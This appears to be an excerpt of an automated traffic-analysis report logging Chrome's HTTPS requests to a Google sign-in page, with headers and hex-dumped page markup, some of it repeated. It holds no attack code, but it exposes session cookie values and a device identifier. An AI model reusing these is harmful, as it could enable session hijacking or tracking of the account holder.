74 79 3a 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 66 6f 63 75 73 2d 6f 70 61 63 69 74 79 2c 30 2e 31 Data Ascii: ity:var(--mdc-ripple-hover-opacity,0.04)}.VfPpkd-ksKsZd-XxIAqe.VfPpkd-ksKsZd-mWPk3d-OWXEXe-AHe6Kc-XpnDCe::before,.VfPpkd-ksKsZd-XxIAqe:not(.VfPpkd-ksKsZd-mWPk3d):focus::before{transition-duration:75ms;opacity:.12;opacity:var(--mdc-ripple-focus-opacity,0.1
2024-01-17 23:35:04 UTC	1252	IN	Data Raw: 3a 72 65 6c 61 74 69 76 65 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 66 69 6c 6c 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 7a 2d 69 6e 64 65 78 3a 30 3b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4c 67 62 73 53 65 20 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 52 4c 6d 6e 4a 62 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f Data Ascii: :relative;box-sizing:border-box;border:none;outline:none;background-color:transparent;fill:currentColor;color:inherit;text-decoration:none;cursor:pointer;user-select:none;z-index:0;overflow:visible}.VfPpkd-Bz112c-LgbsSe .VfPpkd-Bz112c-RLmnJb{position:abso
2024-01-17 23:35:04 UTC	1252	IN	Data Raw: 61 74 65 28 2d 35 30 25 2c 2d 35 30 25 29 3b 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 25 20 2b 20 34 70 78 29 3b 77 69 64 74 68 3a 63 61 6c 63 28 31 30 30 25 20 2b 20 34 70 78 29 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 66 6f 72 63 65 64 2d 63 6f 6c 6f 72 73 3a 61 63 74 69 76 65 29 7b 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 31 55 6b 66 63 2d 4c 68 42 44 65 63 3a 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 43 61 6e 76 61 73 54 65 78 74 7d 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 6b 42 44 73 6f 64 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 6b 42 44 73 6f 64 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 6b 42 44 73 6f 64 2d 4f 57 58 45 58 Data Ascii: ate(-50%,-50%);height:calc(100% + 4px);width:calc(100% + 4px)}@media screen and (forced-colors:active){.VfPpkd-Bz112c-J1Ukfc-LhBDec::after{border-color:CanvasText}}.VfPpkd-Bz112c-kBDsod{display:inline-block}.VfPpkd-Bz112c-kBDsod.VfPpkd-Bz112c-kBDsod-OWXEX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49924	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:04 UTC	1928	OUT	GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=ASKXGp2tJPB3Ojygu8H0Nq-e-VWoesVuSqMqtwVz1w7gLDZs0sblPrXYTPEhXtH_AYuP9vdSp9W6Tg&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-586605101%3A1705534478563012&theme=glif HTTP/1.1 Host: accounts.google.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; __Host-GAPS=1:W4G8WO2z0KkgbaY-VUevTDJ_XgRMGg:MRkHWpORprI5e3z0; OTZ=7387175_52_52_123900_48_436380
2024-01-17 23:35:04 UTC	2085	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: DENY Set-Cookie: __Host-GAPS=1:vwc5Fxh26ZaiFwvZVypSBIlciNnvtQ:StK8MVu31lxzbeEl; Expires=Fri, 16-Jan-2026 23:35:04 GMT; Path=/; Secure; HttpOnly; Priority=HIGH x-auto-login: realm=com.google&args=continue%3Dhttps://accounts.google.com/ x-ua-compatible: IE=edge Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:35:04 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Cross-Origin-Resource-Policy: same-site Report-To: {"group":"AccountsSignInUi","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInUi"}]} Content-Security-Policy: script-src 'report-sample' 'nonce-8jwfeG4JJ5Rp0NICt0gEBg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /v3/signin/_/AccountsSignInUi/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /v3/signin/_/AccountsSignInUi/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /v3/signin/_/AccountsSignInUi/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="AccountsSignInUi" Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:35:04 UTC	2085	IN	Data Raw: 31 39 66 62 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 64 69 72 3d 22 6c 74 72 22 3e 3c 68 65 61 64 3e 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 76 33 2f 73 69 67 6e 69 6e 2f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 3e 3c 73 63 72 69 70 74 20 64 61 74 61 2d 69 64 3d 22 5f 67 64 22 20 6e 6f 6e 63 65 3d 22 38 6a 77 66 65 47 34 4a 4a 35 52 70 30 4e 49 43 74 30 67 45 42 67 22 3e 77 69 6e 64 6f 77 2e 57 49 5a 5f 67 6c 6f 62 61 6c 5f 64 61 74 61 20 3d 20 7b 22 44 6e 64 4c 59 62 22 3a 22 22 2c 22 44 70 69 6d 47 66 22 3a 66 61 6c 73 65 2c 22 45 Data Ascii: 19fb<!doctype html><html lang="en-US" dir="ltr"><head><base href="https://accounts.google.com/v3/signin/"><meta name="referrer" content="origin"><script data-id="_gd" nonce="8jwfeG4JJ5Rp0NICt0gEBg">window.WIZ_global_data = {"DndLYb":"","DpimGf":false,"E
2024-01-17 23:35:04 UTC	2085	IN	Data Raw: 67 41 6c 67 5c 22 2c 5c 22 53 69 67 6e 61 74 75 72 65 5c 22 2c 5c 22 54 4c 5c 22 2c 5c 22 61 66 5c 22 2c 5c 22 61 6c 69 67 6e 6d 65 6e 74 5c 22 2c 5c 22 61 6c 77 66 5c 22 2c 5c 22 62 74 6d 70 6c 5c 22 2c 5c 22 63 5c 22 2c 5c 22 63 5f 61 66 77 74 5c 22 2c 5c 22 63 5f 62 72 73 7a 5c 22 2c 5c 22 63 5f 65 6e 61 62 6c 65 5c 22 2c 5c 22 63 5f 67 75 74 77 5c 22 2c 5c 22 63 5f 70 73 5f 65 5c 22 2c 5c 22 63 5f 70 73 5f 73 5c 22 2c 5c 22 63 5f 70 73 5f 74 5c 22 2c 5c 22 63 5f 73 74 66 73 5c 22 2c 5c 22 63 5f 73 74 66 77 74 5c 22 2c 5c 22 63 5f 73 74 73 5f 62 5c 22 2c 5c 22 63 5f 73 74 73 5f 74 5c 22 2c 5c 22 63 5f 74 66 73 5c 22 2c 5c 22 63 5f 74 66 77 74 5c 22 2c 5c 22 63 5f 74 73 5f 62 5c 22 2c 5c 22 63 5f 74 73 5f 74 5c 22 2c 5c 22 63 62 66 6c 6f 77 5c 22 2c 5c Data Ascii: gAlg\",\"Signature\",\"TL\",\"af\",\"alignment\",\"alwf\",\"btmpl\",\"c\",\"c_afwt\",\"c_brsz\",\"c_enable\",\"c_gutw\",\"c_ps_e\",\"c_ps_s\",\"c_ps_t\",\"c_stfs\",\"c_stfwt\",\"c_sts_b\",\"c_sts_t\",\"c_tfs\",\"c_tfwt\",\"c_ts_b\",\"c_ts_t\",\"cbflow\",\
2024-01-17 23:35:04 UTC	2085	IN	Data Raw: 74 51 43 78 63 22 3a 2d 36 30 2c 22 74 52 73 7a 4c 22 3a 22 25 2e 40 2e 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 74 72 75 65 5d 5d 22 2c 22 74 68 79 6b 68 64 22 3a 22 41 46 57 4c 62 44 31 54 66 6c 52 79 34 68 67 63 78 72 67 62 6c 53 6f 6b 62 6f 68 43 5f 4b 52 31 44 47 50 47 2d 58 6e 4c 4e 49 36 63 6e 77 58 4c 32 5f 2d 64 38 34 74 63 53 6e 45 6c 6f 47 4f 31 51 44 47 58 38 69 4b 46 52 4f 5a 57 45 37 57 57 58 69 63 6a 59 73 52 46 6c 76 34 79 4e 46 59 73 47 6c 37 55 4e 59 5f 72 61 62 53 39 32 36 36 57 66 52 4a 6d 4a 34 47 45 72 52 7a 55 6e 4a 68 56 6d 46 5f 75 22 2c 22 75 51 39 4f 68 22 3a 30 2c 22 75 6e 4e 52 4d 62 22 3a 22 41 4b 4a 56 7a 63 6f 6c 62 36 47 4f 2d 5a 61 63 41 44 35 7a 68 4e 71 73 6d 30 63 41 53 65 73 76 42 Data Ascii: tQCxc":-60,"tRszL":"%.@.null,null,null,null,[null,true]]","thykhd":"AFWLbD1TflRy4hgcxrgblSokbohC_KR1DGPG-XnLNI6cnwXL2_-d84tcSnEloGO1QDGX8iKFROZWE7WWXicjYsRFlv4yNFYsGl7UNY_rabS9266WfRJmJ4GErRzUnJhVmF_u","uQ9Oh":0,"unNRMb":"AKJVzcolb6GO-ZacAD5zhNqsm0cASesvB
2024-01-17 23:35:04 UTC	404	IN	Data Raw: 26 26 28 62 3d 31 3d 3d 3d 61 2e 61 66 74 5f 63 6f 75 6e 74 65 72 2e 73 70 6c 69 63 65 28 62 2c 0a 31 29 2e 6c 65 6e 67 74 68 2c 30 3d 3d 3d 61 2e 61 66 74 5f 63 6f 75 6e 74 65 72 2e 6c 65 6e 67 74 68 26 26 62 26 26 63 29 29 29 61 2e 6f 6e 61 66 74 28 63 29 7d 2c 21 30 29 3b 61 2e 70 72 74 3d 2d 31 3b 61 2e 77 69 7a 5f 74 69 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 6e 28 22 70 72 74 22 29 3b 61 2e 70 72 74 3d 62 7d 7d 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 0a 6c 28 27 43 71 50 74 63 62 27 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 38 6a 77 66 65 47 34 4a 4a 35 52 70 30 4e 49 43 74 30 67 45 42 67 22 3e 76 61 72 20 5f 46 5f 63 73 73 52 6f 77 4b 65 79 20 3d 20 27 62 6f 71 2d 69 64 65 6e 74 69 74 79 2e Data Ascii: &&(b=1===a.aft_counter.splice(b,1).length,0===a.aft_counter.length&&b&&c)))a.onaft(c)},!0);a.prt=-1;a.wiz_tick=function(){var b=n("prt");a.prt=b}};}).call(this);l('CqPtcb')</script><script nonce="8jwfeG4JJ5Rp0NICt0gEBg">var _F_cssRowKey = 'boq-identity.
2024-01-17 23:35:04 UTC	1252	IN	Data Raw: 38 30 30 30 0d 0a 3c 73 74 79 6c 65 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 5f 2f 6d 73 73 2f 62 6f 71 2d 69 64 65 6e 74 69 74 79 2f 5f 2f 73 73 2f 6b 3d 62 6f 71 2d 69 64 65 6e 74 69 74 79 2e 41 63 63 6f 75 6e 74 73 53 69 67 6e 49 6e 55 69 2e 37 66 51 63 79 78 4b 52 47 49 34 2e 4c 2e 42 31 2e 4f 2f 61 6d 3d 50 38 42 43 45 6f 34 46 51 49 79 5a 35 5a 79 5f 5a 35 77 63 42 67 41 41 41 41 41 41 41 41 41 41 57 41 50 59 41 51 2f 64 3d 31 2f 65 64 3d 31 2f 72 73 3d 41 4f 61 45 6d 6c 45 74 35 32 78 46 5f 36 32 73 35 2d 49 7a 39 4f 46 63 42 59 6f 61 71 73 32 39 71 51 2f 6d 3d 69 64 65 6e 74 69 66 69 65 72 76 69 65 77 2c 5f 62 2c 5f 74 70 22 20 6e 6f 6e 63 65 3d 22 75 64 64 79 47 45 61 73 6b 6b 6e Data Ascii: 8000<style data-href="https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.7fQcyxKRGI4.L.B1.O/am=P8BCEo4FQIyZ5Zy_Z5wcBgAAAAAAAAAAWAPYAQ/d=1/ed=1/rs=AOaEmlEt52xF_62s5-Iz9OFcBYoaqs29qQ/m=identifierview,_b,_tp" nonce="uddyGEaskkn
2024-01-17 23:35:04 UTC	1252	IN	Data Raw: 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 6f 70 61 63 69 74 79 3a 30 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 3b 63 6f 6e 74 65 6e 74 3a 22 22 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 3a 3a 62 65 66 6f 72 65 7b 74 72 61 6e 73 69 74 69 6f 6e 3a 6f 70 61 63 69 74 79 20 31 35 6d 73 20 6c 69 6e 65 61 72 2c 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 20 31 35 6d 73 20 6c 69 6e 65 61 72 3b 7a 2d 69 6e 64 65 78 3a 31 3b 7a 2d 69 6e 64 65 78 3a 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 7a 2d 69 6e 64 65 78 2c 31 29 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 3a 3a 61 66 74 65 72 7b 7a 2d 69 6e 64 65 78 3a 30 3b 7a 2d 69 6e 64 65 78 3a 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c Data Ascii: rder-radius:50%;opacity:0;pointer-events:none;content:""}.VfPpkd-ksKsZd-XxIAqe::before{transition:opacity 15ms linear,background-color 15ms linear;z-index:1;z-index:var(--mdc-ripple-z-index,1)}.VfPpkd-ksKsZd-XxIAqe::after{z-index:0;z-index:var(--mdc-rippl
2024-01-17 23:35:04 UTC	1252	IN	Data Raw: 65 2d 69 73 2d 75 6e 62 6f 75 6e 64 65 64 5d 2c 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f 57 58 45 58 65 2d 5a 4e 4d 54 71 64 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 5b 64 61 74 61 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 69 73 2d 75 6e 62 6f 75 6e 64 65 64 5d 3a 3a 62 65 66 6f 72 65 2c 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 5b 64 61 74 61 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 69 73 2d 75 6e 62 6f 75 6e 64 65 64 5d 3a 3a 61 66 74 65 72 2c 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f 57 58 45 58 65 2d 5a 4e 4d 54 71 64 3a 3a 62 65 66 6f 72 65 2c 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f Data Ascii: e-is-unbounded],.VfPpkd-ksKsZd-mWPk3d-OWXEXe-ZNMTqd{overflow:visible}.VfPpkd-ksKsZd-XxIAqe[data-mdc-ripple-is-unbounded]::before,.VfPpkd-ksKsZd-XxIAqe[data-mdc-ripple-is-unbounded]::after,.VfPpkd-ksKsZd-mWPk3d-OWXEXe-ZNMTqd::before,.VfPpkd-ksKsZd-mWPk3d-O
2024-01-17 23:35:04 UTC	1252	IN	Data Raw: 69 74 79 3a 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 68 6f 76 65 72 2d 6f 70 61 63 69 74 79 2c 30 2e 30 34 29 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f 57 58 45 58 65 2d 41 48 65 36 4b 63 2d 58 70 6e 44 43 65 3a 3a 62 65 66 6f 72 65 2c 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 3a 6e 6f 74 28 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 29 3a 66 6f 63 75 73 3a 3a 62 65 66 6f 72 65 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 37 35 6d 73 3b 6f 70 61 63 69 74 79 3a 2e 31 32 3b 6f 70 61 63 69 74 79 3a 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 66 6f 63 75 73 2d 6f 70 61 63 69 74 79 2c 30 2e 31 Data Ascii: ity:var(--mdc-ripple-hover-opacity,0.04)}.VfPpkd-ksKsZd-XxIAqe.VfPpkd-ksKsZd-mWPk3d-OWXEXe-AHe6Kc-XpnDCe::before,.VfPpkd-ksKsZd-XxIAqe:not(.VfPpkd-ksKsZd-mWPk3d):focus::before{transition-duration:75ms;opacity:.12;opacity:var(--mdc-ripple-focus-opacity,0.1
2024-01-17 23:35:04 UTC	1252	IN	Data Raw: 3a 72 65 6c 61 74 69 76 65 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 66 69 6c 6c 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 7a 2d 69 6e 64 65 78 3a 30 3b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4c 67 62 73 53 65 20 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 52 4c 6d 6e 4a 62 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f Data Ascii: :relative;box-sizing:border-box;border:none;outline:none;background-color:transparent;fill:currentColor;color:inherit;text-decoration:none;cursor:pointer;user-select:none;z-index:0;overflow:visible}.VfPpkd-Bz112c-LgbsSe .VfPpkd-Bz112c-RLmnJb{position:abso
2024-01-17 23:35:04 UTC	1252	IN	Data Raw: 61 74 65 28 2d 35 30 25 2c 2d 35 30 25 29 3b 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 25 20 2b 20 34 70 78 29 3b 77 69 64 74 68 3a 63 61 6c 63 28 31 30 30 25 20 2b 20 34 70 78 29 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 66 6f 72 63 65 64 2d 63 6f 6c 6f 72 73 3a 61 63 74 69 76 65 29 7b 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 31 55 6b 66 63 2d 4c 68 42 44 65 63 3a 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 43 61 6e 76 61 73 54 65 78 74 7d 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 6b 42 44 73 6f 64 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 6b 42 44 73 6f 64 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 6b 42 44 73 6f 64 2d 4f 57 58 45 58 Data Ascii: ate(-50%,-50%);height:calc(100% + 4px);width:calc(100% + 4px)}@media screen and (forced-colors:active){.VfPpkd-Bz112c-J1Ukfc-LhBDec::after{border-color:CanvasText}}.VfPpkd-Bz112c-kBDsod{display:inline-block}.VfPpkd-Bz112c-kBDsod.VfPpkd-Bz112c-kBDsod-OWXEX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49923	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:04 UTC	1504	OUT	GET /favicon.ico HTTP/1.1 Host: accounts.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; __Host-GAPS=1:W4G8WO2z0KkgbaY-VUevTDJ_XgRMGg:MRkHWpORprI5e3z0; OTZ=7387175_52_52_123900_48_436380
2024-01-17 23:35:04 UTC	1064	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html; charset=UTF-8 X-Frame-Options: DENY Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:35:04 GMT Location: https://www.google.com/favicon.ico Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Security-Policy: script-src 'report-sample' 'nonce-NIo1pHUV1B8RCex5lKwLbw' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreport Content-Security-Policy: require-trusted-types-for 'script';report-uri /cspreport Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_qebhlk" Report-To: {"group":"coop_gse_qebhlk","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gse_qebhlk"}]} Content-Length: 216 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:35:04 UTC	216	IN	Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 68 65 72 65 3c 2f 41 3e 2e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://www.google.com/favicon.ico">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.6	49918	157.240.241.35	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
